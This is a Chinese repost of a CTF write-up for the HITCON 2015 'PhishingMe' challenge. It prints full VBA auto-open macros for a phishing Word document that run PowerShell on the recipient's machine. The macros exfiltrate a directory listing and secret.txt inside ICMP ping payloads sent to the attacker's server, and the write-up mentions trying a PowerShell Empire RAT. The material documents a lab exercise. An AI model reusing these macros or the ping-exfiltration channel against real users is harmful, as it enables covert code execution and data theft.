转载

CTF writeup:HITCON – PhishingMe

如果你发送一个主题为"HITCON 2015"的.doc文档我会打开! 在我的文件系统中找到flag 注:我会为你开启宏^_________________^ phishing.me.hitcon.2015@gmail.com.

PhishingMe有趣的介绍告知我们可以在.doc中定义一个VBScript宏钓鱼,Here we go!

准备恶意文件

第一件事,我们需要一个Microsoft Word,这个 .doc文件需要在打开的时候自动运行脚本。过程如下:

创建一个.doc文件。并从开发选项单中找到宏选项

CTF writeup:HITCON – PhishingMe

创建一个新的宏

CTF writeup:HITCON – PhishingMe

我们创建的这个宏需要尝试通过cmd.exe运行一个简单的命令

Sub Auto_Open()    Call Debugging  End Sub  Sub AutoOpen()    Call Debugging  End Sub  Public Function Debugging() As Variant    Set objShell = CreateObject("Wscript.Shell")    strCmd = "cmd.exe /c ""ping SERVER_IP"""    Set objExec = objShell.Exec(strCmd)  End Function 

把这些放入宏窗口并保存

CTF writeup:HITCON – PhishingMe

为了测试命令是否执行,我们来看看我们这边的ping请求:

tcpdump -nXX icmp

保存.doc,重新打开它,然后在服务器上看看ICMP返回的echo request:

10:25:49.351725 IP MY-TEST-IP > MY-IP: ICMP echo request, id 1, seq 21, length 40

Shweet!.doc文件在我们这端是正常运行的,我们再来看看在目标端是否正常运行。接着我们将.doc文件发送到phishing.me.hitcon.2015#gmail.com,等一会之后在来看看通信。

10:29:21.411226 IP VICTIM-IP > MY-IP: ICMP echo request, id 1, seq 21, length 40

命令正常执行,接下来我们该做什么呢?

反复试验

首先试试了常见的CTF比赛策略:上传Shell然后再找flag。我们可以尝试以下使用来自PowershellEmpire的Powershell RAT。经过30 – 45分钟的测试,我们意识到回调函数并未从目标机器传递到我们的服务器上,即使他们运行在本地测试环境中。这其中肯定存在防火墙或者是其他东西阻止这些出站流量。但是我们已经接收到来自服务器的流量…

填充FTW

我们知道ICMP的echo requests已经传到我们的服务器,同时我们还能通过VBScript执行命令。那么这里是否存在什么东西发送ping….Powershell啊?!(我非常兴奋,这是我第一次在CTF中使用Powershell)下面我们就来看看如何发送ICMP的echo request

Microsoft页面 对System.Net.NetworkInformation.Ping的定义如下:

CTF writeup:HITCON – PhishingMe

CTF writeup:HITCON – PhishingMe

似乎我们需要IP address, timeout, 以及a buffer作为参数?

下面我们再来看看ICMP echo request的射频图

CTF writeup:HITCON – PhishingMe

事实证明,ICMP echo request中有一个数据缓冲区,这可以通过在第三个参数Send函数中进行设置

在Powershell中调用这个函数:

(New-Object System.Net.NetworkInformation.Ping).Send(server_ip, timeout, buffer)

理论上我们可以通过缓冲区域的命令结果,并从tcpdump输出中看到结果。我们通过ICMP做一个快速dir

powershell "$dir=dir;  (New-Object System.Net.NetworkInformation.Ping).Send('SERVER_IP', 1000, $dir)"

在VBScript中替换这个命令应该能够成功

Sub Auto_Open()    Call Debugging  End Sub  Sub AutoOpen()    Call Debugging  End Sub  Public Function Debugging() As Variant    Set objShell = CreateObject("Wscript.Shell")    strCmd = "powershell ""$dir=dir;(New-Object System.Net.NetworkInformation.Ping).Send('OUR_SERVER_IP', 1000, [system.Text.Encoding]::UTF8.GetBytes($dir)"""    Set objExec = objShell.Exec(strCmd)  End Function 

丢给目标,得到非常有趣的结果:

10:10:00.816080 IP VICTIM_IP > OUR_SERVER_IP: ICMP echo request, id 1, seq 19, length 75  0x0030:  6773 2050 726f 6772 616d 2046 696c 6573  gs.Program.Files  0x0040:  2050 726f 6772 616d 2046 696c 6573 2028  .Program.Files.(  0x0050:  7838 3629 2055 7365 7273 2057 696e 646f  x86).Users.Windo  0x0060:  7773 2073 6563 7265 742e 7478 74         ws.secret.txt

secret.txt是重点啊,将dir替换为type secret.txt,看看有没有啥好结果:

Sub Auto_Open()    Call Debugging  End Sub Sub AutoOpen()    Call Debugging  End Sub  Public Function Debugging() As Variant    Set objShell = CreateObject("Wscript.Shell")    strCmd = "powershell ""$dir=type secret.txt;(New-Object System.Net.NetworkInformation.Ping).Send('OUR_SERVER_IP', 1000, [system.Text.Encoding]::UTF8.GetBytes($dir)"""    Set objExec = objShell.Exec(strCmd)  End Function 

结果

10:11:35.383781 IP VICTIM_IP > OUR_SERVER_IP: ICMP echo request, id 1, seq 20, length 52   ...  0x0020:  .... .... .... .... .... 6869 7463 6f6e  hitcon  0x0030:  7b6d 3463 7230 5f6d 6131 7761 7265 5f31  {m4cr0_ma1ware_1  0x0040:  735f 6d34 6b31 6e67 5f61 5f63 306d 6562  s_m4k1ng_a_c0meb  0x0050:  3463 6b21 217d                           4ck!!}

在这里我们找到

hitcon{m4cr0_ma1ware_1s_m4k1ng_a_c0meb4ck!!}

很酷的一个挑战,特别是使用PowerShell

更多的有关ping exfiltration信息: here

这关的相关代码: github

* 参考来源: ctfhacker ,编译/FB小编鸢尾,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

正文到此结束
Loading...